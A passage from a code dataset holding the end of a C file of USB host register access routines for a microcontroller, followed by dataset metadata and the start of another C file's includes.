DRPD-bit specified port's SYSCFG register. For \n : host external circuit, to not pull down the D+ and D- lines.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_drpd( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->SYSCFG.WORD &= ~USB_DRPD;\n }\n} /* eof usb_hreg_clr_drpd() */\n\n/************/\n/* SYSSTS0 */\n/************/\n/* System Configuration Status Register 0 */\n\n/**************/\n/* DVSTCTR0 */\n/**************/\n/* Device State Control Register 0 */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_rwupe\nDescription : Set the RWUPE-bit specified port's DVSTCTR0 reg-\n : ister. When host. To allow detection of remote wake-up from \n : a USB Function.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_rwupe( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD |= USB_RWUPE;\n }\n} /* eof usb_hreg_set_rwupe() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_rwupe\nDescription : Clear the RWUPE-bit specified port's DVSTCTR0 reg-\n : ister. When host. To prohibit detection of remote wake-up from \n : a USB Function.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_rwupe( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD &= ~USB_RWUPE;\n }\n} /* eof usb_hreg_clr_rwupe() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_resume\nDescription : Set the RESUME-bit specified port's DVSTCTR0 register \n : When host. To allow output of resume signal to a USB Function.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_resume( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD |= USB_RESUME;\n }\n} /* eof usb_hreg_set_resume() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_resume\nDescription : Clear the RESUME-bit specified port's DVSTCTR0 register \n : When host. To prohibit output of resume signal to a USB Func-\n : tion.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_resume( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD &= ~USB_RESUME;\n }\n} /* eof usb_hreg_clr_resume() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_uact\nDescription : Set UACT-bit (USB Bus Enable) specified port's DVSTCTR0 \n : register. When Host, to output SOF.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_uact( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD |= USB_UACT;\n }\n} /* eof usb_hreg_set_uact() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_uact\nDescription : Clear UACT-bit (USB Bus Enable) specified port's DVSTCTR0 \n : register. When Host, to prohibit output SOF.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_uact( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD &= ~USB_UACT;\n }\n} /* eof usb_hreg_clr_uact() */\n\n/**************/\n/* TESTMODE */\n/**************/\n\n/************/\n/* PINCFG */\n/************/\n\n/**********************************/\n/* DMA0CFG, DMA1CFG for 597ASSP */\n/**********************************/\n\n/***************************/\n/* CFIFO, D0FIFO, D1FIFO */\n/***************************/\n\n/**********************************/\n/* CFIFOSEL, D0FIFOSEL, D1FIFOSEL */\n/**********************************/\n\n/**********************************/\n/* CFIFOCTR, D0FIFOCTR, D1FIFOCTR */\n/**********************************/\n\n/*************/\n/* INTENB0 */\n/*************/\n\n/*************/\n/* INTENB1 */\n/*************/\n/* Interrupt Enable Register 1 */\n\n/******************************************************************************\nFunction Name : usb_hreg_read_intenb\nDescription : Returns the value of the specified port's INTENB1 register.\n : uint16_t port : USB port number. //$REA - not used.\nReturn value : INTENB1/INTENB2 content\n******************************************************************************/\nuint16_t usb_hreg_read_intenb( USB_UTR_t *ptr, uint16_t port )\n{\n return ptr->ipp->INTENB1.WORD;\n} /* eof usb_hreg_read_intenb() */\n\n/******************************************************************************\nFunction Name : usb_hreg_write_intenb\nDescription : Write the specified data to the specified port's INTENB register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_write_intenb( USB_UTR_t *ptr, uint16_t port, uint16_t data )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD = data;\n }\n} /* eof usb_hreg_write_intenb() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_ovrcre\nDescription : Set specified port's OVRCRE-bit (Overcurrent Input Change Int-\n : errupt Status Enable) in the INTENB1 register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_ovrcre( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD |= USB_OVRCRE;\n }\n} /* eof usb_hreg_set_enb_ovrcre() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_ovrcre\nDescription : Clear the OVRCRE-bit of the specified port's INTENB1 register,\n : to prohibit VBUS interrupts.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_ovrcre( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD &= ~USB_OVRCRE;\n }\n} /* eof usb_hreg_clr_enb_ovrcre() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_bchge\nDescription : The BCHGE-bit (USB Bus Change Interrupt Enable) is set in the \n : specified port's INTENB1 register. This will cause a BCHG \n : interrupt when a change of USB bus state has been detected.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_bchge( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD |= USB_BCHGE;\n }\n} /* eof usb_hreg_set_enb_bchge() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_bchge\nDescription : The BCHGE-bit (USB Bus Change Interrupt Enable) is cleared in \n : the specified port's INTENB1 register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_bchge( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD &= ~USB_BCHGE;\n }\n} /* eof usb_hreg_clr_enb_bchge() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_dtche\nDescription : Enable the specified port's DTCHE-interrupt \"Disconnection \n : Detection\" by setting the DTCHE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_dtche( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD |= USB_DTCHE;\n }\n} /* eof usb_hreg_set_enb_dtche() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_dtche\nDescription : Disable the specified port's DTCHE-interrupt \"Disconnection \n : Detection\" by clearing the DTCHE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_dtche( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD &= ~USB_DTCHE;\n }\n} /* eof usb_hreg_clr_enb_bchge() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_attche\nDescription : Enable the specified port's ATTCHE-interrupt \"Connection \n : Detection\" by setting the ATTCHE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_attche( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD |= USB_ATTCHE;\n }\n} /* eof usb_hreg_set_enb_attche() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_attche\nDescription : Disable the specified port's ATTCHE-interrupt \"Disconnection \n : Detection\" by clearing the ATTCHE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_attche( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTENB1.WORD &= ~USB_ATTCHE;\n }\n} /* eof usb_hreg_clr_enb_attche() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_signe\nDescription : Enable the SIGNE-interrupt \"Setup Transaction\n : Error\" by setting the SIGNE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_signe( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB1.WORD |= USB_SIGNE;\n} /* eof usb_hreg_set_enb_signe() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_signe\nDescription : Disable the SIGNE-interrupt \"Setup Transac-\n : tion Error\" by clearing the SIGNE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_signe( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB1.WORD &= ~USB_SIGNE;\n} /* eof usb_hreg_clr_enb_signe() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_sacke\nDescription : Enable the SACKE-interrupt \"Setup Transaction \n : Normal Response\" by setting the SACKE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_sacke( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB1.WORD |= USB_SACKE;\n} /* eof usb_hreg_set_enb_sacke() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_sacke\nDescription : Disable the SACKE-interrupt \"Setup Transac-\n : tion Normal Response\" by clearing the SACKE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_sacke( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB1.WORD &= ~USB_SACKE;\n} /* eof usb_hreg_clr_enb_sacke() */\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_hreg_set_enb_pddetinte\nDescription : Enable the PDDETINT-interrupt \"Connection Detection for \n : Battery Charging Supporting Device\" by setting \n : the PDDETINTE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_enb_pddetinte( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->INTENB1.WORD |= USB_PDDETINTE;\n }\n} /* eof usb_hreg_set_enb_pddetinte() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_enb_pddetinte\nDescription : Disable the PDDETINT-interrupt \"Connection Detection for \n : Battery Charging Supporting Device\" by clearing \n : the PDDETINTE-bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_enb_pddetinte( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->INTENB1.WORD &= ~USB_PDDETINTE;\n }\n} /* eof usb_hreg_clr_enb_pddetinte() */\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n/*************/\n/* BRDYENB */\n/*************/\n\n/*************/\n/* NRDYENB */\n/*************/\n\n/*************/\n/* BEMPENB */\n/*************/\n\n/*************/\n/* SOFCFG */\n/*************/\n/* SOF Output Configuration */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_trnensel\nDescription : When host, set the TRNENSEL-bit; \"Transac-\n : tion-Enabled Time Select\" for low-speed USB communication.\n : This bit should be set to 0 if USB Function.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_trnensel( USB_UTR_t *ptr )\n{\n ptr->ipp->SOFCFG.WORD |= USB_TRNENSEL;\n} /* eof usb_hreg_set_trnensel() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_trnensel\nDescription : When host, clear the TRNENSEL-bit; \"Transac-\n : tion-Enabled Time Select\" for non low-speed communication.\n : This bit should be set to 0 if USB Function.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_trnensel( USB_UTR_t *ptr )\n{\n ptr->ipp->SOFCFG.WORD &= ~USB_TRNENSEL;\n} /* eof usb_hreg_clr_trnensel() */\n\n/*************/\n/* INTSTS0 */\n/*************/\n\n/*************/\n/* INTSTS1 */\n/*************/\n/* Interrupt Status Register 1 */\n\n/******************************************************************************\nFunction Name : usb_hreg_read_intsts\nDescription : Returns the value of the specified port's INTSTS1 register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : INTSTS1 content\n******************************************************************************/\nuint16_t usb_hreg_read_intsts( USB_UTR_t *ptr, uint16_t port )\n{\n return (uint16_t)(ptr->ipp->INTSTS1.WORD);\n} /* eof usb_hreg_read_intsts() */\n\n/******************************************************************************\nFunction Name : usb_hreg_write_intsts\nDescription : Write the specified data to the specified port's INTSTS1 reg-\n : ister.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_write_intsts( USB_UTR_t *ptr, uint16_t port, uint16_t data )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTSTS1.WORD = data;\n }\n} /* eof usb_hreg_write_intsts() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_ovrcr\nDescription : Clear the specified port's OVRCR-bit; \"Overcurrent \n : Input Change Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_ovrcr( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_OVRCR;\n }\n} /* eof usb_hreg_clr_sts_ovrcr() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_bchg\nDescription : Clear the specified port's BCHG-bit; \"USB Bus Change Interrupt \n : Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_bchg( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_BCHG;\n }\n} /* eof usb_hreg_clr_sts_bchg() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_dtch\nDescription : Clear the specified port's DTCH-bit; \"USB Disconnection Detec-\n : tion Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_dtch( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_DTCH;\n }\n} /* eof usb_hreg_clr_sts_dtch() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_attch\nDescription : Clear the specified port's ATTCH-bit; \"ATTCH Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_attch( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_ATTCH;\n }\n} /* eof usb_hreg_clr_sts_attch() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_eoferr\nDescription : Clear the specified port's EOFERR-bit; \"EOF Error Detection \n : Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_eoferr( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_EOFERR;\n }\n} /* eof usb_hreg_clr_sts_eoferr() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_sign\nDescription : Clear the SIGN-bit; \"Setup Transaction Error\n : Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_sign( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_SIGN;\n} /* eof usb_hreg_clr_sts_sign() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_sack\nDescription : Clear the SACK-bit; \"Setup Transaction Normal\n : Response Interrupt Status\".\n : Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_sack( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_SACK;\n} /* eof usb_hreg_clr_sts_sack() */\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_hreg_clr_sts_pddetint\nDescription : Clear the PDDETINT-bit; \"\n : \".\n : Interrupt Status\".\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_sts_pddetint( USB_UTR_t *ptr, uint16_t port )\n{\n if(port == USB_PORT0)\n {\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->INTSTS1.WORD = (uint16_t)~USB_PDDETINT;\n }\n }\n} /* eof usb_hreg_clr_sts_sack() */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n/************/\n/* BRDYSTS */\n/************/\n\n/************/\n/* NRDYSTS */\n/************/\n\n/************/\n/* BEMPSTS */\n/************/\n\n/************/\n/* FRMNUM */\n/************/\n\n/************/\n/* USBADDR */\n/************/\n\n/************/\n/* USBREQ */\n/************/\n/* USB Request Type */\n\n/******************************************************************************\nFunction Name : usb_hreg_write_usbreq\nDescription : Write bRequest and bmRequestType to USBREQ register.\n : When Host, the values of bRequest and bmRequestType \n : to be transmitted are written. (When Function, the received \n : values of bRequest and bmRequestType are stored in USBREQ).\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_write_usbreq( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->USBREQ.WORD = data;\n} /* eof usb_hreg_write_usbreq() */\n\n/************/\n/* USBVAL */\n/************/\n/* USB Request Value Register */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_usbval\nDescription : Write the specified 'wValue' to USBVAL register,\n : to write the USB request. When Host, the value of \n : wValue to be transmitted is set. (When Function, the value of \n : wValue that has been received is stored in USBREQ.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_usbval( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->USBVAL = data;\n} /* eof usb_hreg_set_usbval() */\n\n/************/\n/* USBINDX */\n/************/\n/* USB Request Index */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_usbindx\nDescription : Write the specified 'wIndex', the USB request, to USBINDX\n : register, for host setup requests for control \n : transfers.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_usbindx( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->USBINDX = data;\n} /* eof usb_hreg_set_usbindx() */\n\n/************/\n/* USBLENG */\n/************/\n/* USB Request Length */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_usbleng\nDescription : Write the specified 'wLength' value to USBINDX register, \n : for host setup requests for control.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_usbleng( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->USBLENG = data;\n} /* eof usb_hreg_set_usbleng() */\n\n/************/\n/* DCPCFG */\n/************/\n\n/************/\n/* DCPMAXP */\n/************/\n\n/************/\n/* DCPCTR */\n/************/\n/******************************************************************************\nFunction Name : usb_hreg_write_dcpctr\nDescription : Write the specified data value to the DCPCTR register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_write_dcpctr( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->DCPCTR.WORD = data;\n} /* eof usb_hreg_write_dcpctr() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_sureq\nDescription : Set te SUREQ-bit in the DCPCTR register \n : (Set SETUP packet send when HostController function is selected)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_sureq( USB_UTR_t *ptr )\n{\n ptr->ipp->DCPCTR.WORD |= USB_SUREQ;\n} /* eof usb_hreg_set_sureq() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_sureqclr\nDescription : Set the SUREQCLR-bit in the DCPCTR register.\n : (Disable SETUP packet send setting when HostController func-\n : tion is selected)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_sureqclr( USB_UTR_t *ptr )\n{\n ptr->ipp->DCPCTR.WORD |= USB_SUREQCLR;\n} /* eof usb_hreg_set_sureqclr() */\n\n/************/\n/* PIPESEL */\n/************/\n\n/************/\n/* PIPECFG */\n/************/\n\n/************/\n/* PIPEBUF */\n/************/\n\n/************/\n/* PIPEMAXP */\n/************/\n/******************************************************************************\nFunction Name : usb_hreg_set_devsel\nDescription : Write the address specified by the argument to the DEVSEL-bit \n : of the PIPEMAXP register. (Set the address of the USB Device \n : when HostController function is selected.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_devsel( USB_UTR_t *ptr, uint16_t data )\n{\n volatile uint16_t *reg_p;\n \n reg_p = (uint16_t *)&ptr->ipp->PIPEMAXP;\n *reg_p &= ~USB_DEVSEL;\n *reg_p |= data << USB_DEVSEL_NUM_SHIFT;\n} /* eof usb_hreg_set_devsel() */\n\n/************/\n/* PIPEPERI */\n/************/\n\n/********************/\n/* DCPCTR, PIPEnCTR */\n/********************/\n\n/************/\n/* PIPEnTRE */\n/************/\n\n/************/\n/* PIPEnTRN */\n/************/\n\n/************/\n/* DEVADDn */\n/************/\n/******************************************************************************\nFunction Name : usb_hreg_read_devadd\nDescription : Return the DEVADD register value for the specified USB device \n ; address.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t devsel ; USB device address value \nReturn value : DEVADDx content\n******************************************************************************/\nuint16_t usb_hreg_read_devadd( USB_UTR_t *ptr, uint16_t devsel )\n{\n volatile uint16_t *reg_p;\n uint16_t devadr;\n uint16_t return_value;\n\n devadr = devsel >> USB_DEVADDRBIT;\n\n if(devadr > USB_MAXDEVADDR)\n {\n return USB_ERROR;\n }\n else\n {\n reg_p = (uint16_t *)&(ptr->ipp->DEVADD0) + devadr;\n return_value = (*reg_p & (USB_UPPHUB | USB_HUBPORT | USB_USBSPD));\n return return_value;\n }\n} /* eof usb_hreg_read_devadd() */\n\n/******************************************************************************\nFunction Name : usb_hreg_rmw_devadd\nDescription : Read-modify-write the specified devsel's DEVADD.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t devsel: Device address\n : uint16_t data : The value to write.\n : uint16_t width : Bit pattern to read-modify-write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_rmw_devadd( USB_UTR_t *ptr, uint16_t devsel, uint16_t data, uint16_t width )\n{\n volatile uint16_t *reg_p;\n uint16_t buf;\n uint16_t devadr;\n\n devadr = devsel >> USB_DEVADDRBIT;\n\n reg_p = (uint16_t *)&(ptr->ipp->DEVADD0) + devadr;\n\n buf = *reg_p;\n buf &= ~width;\n buf |= (data & width);\n *reg_p = buf;\n} /* eof usb_hreg_rmw_devadd() */\n\n/******************************************************************************\nFunction Name : usb_hreg_set_usbspd\nDescription : Set the DEVADD register's USBSPD for the specified device add-\n : ress.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t devsel ; USB device address value\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_usbspd( USB_UTR_t *ptr, uint16_t devsel, uint8_t data )\n{\n volatile uint16_t *reg_p;\n uint16_t devadr;\n\n devadr = devsel >> USB_DEVADDRBIT;\n\n reg_p = (uint16_t *)&(ptr->ipp->DEVADD0) + devadr;\n\n *reg_p &= ~USB_USBSPD;\n *reg_p |= data;\n} /* eof usb_hreg_set_usbspd() */\n\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n/************/\n/* PHYSLEW */\n/************/\n\n/******************************************************************************\nFunction Name : usb_hreg_write_physlew\nDescription : Set the PHYSLEW register's for host mode\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_write_physlew( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_0)\n {\n ptr->ipp->PHYSLEW.LONG = 0x0000000E;\n }\n} /* eof usb_hreg_write_physlew() */\n\n\n/************/\n/* BCCTRL */\n/************/\n\n/******************************************************************************\nFunction Name : usb_hreg_set_dcpmode\nDescription : Set DCPMODE bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_dcpmode( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= USB_DCPMODE;\n }\n} /* eof usb_hreg_set_dcpmode() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_dcpmode\nDescription : Clear DCPMODE bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_clr_dcpmode( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~USB_DCPMODE;\n }\n} /* eof usb_hreg_clr_dcpmode() */\n#endif /* #if defined(BSP_MCU_RX64M) | (BSP_MCU_RX71M) */\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.6071396470069885, "alphanum_fraction": 0.620244026184082, "avg_line_length": 20.238004684448242, "blob_id": "83ad775c548ecce327b8cc57c824bd6f287bd61c", "content_id": "aa5327209cecfbb0bccd220c618d6fc1822669c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11069, "license_type": "no_license", "max_line_length": 80, "num_lines": 521, "path": "/src/states/ut_state_config_var.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_state_config.c\n *\n * Created on: Jan 5, 2016\n * Author: Fernando\n */\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"config_par_maquina.h\"\n#include \"macros.h\"\n#include \"eeprom.h\"\n\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"timers.h\"\n#include \"config_SwTimers.h\"\n#include \"state_functions.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n#include \"keyboard.h\"\n#include 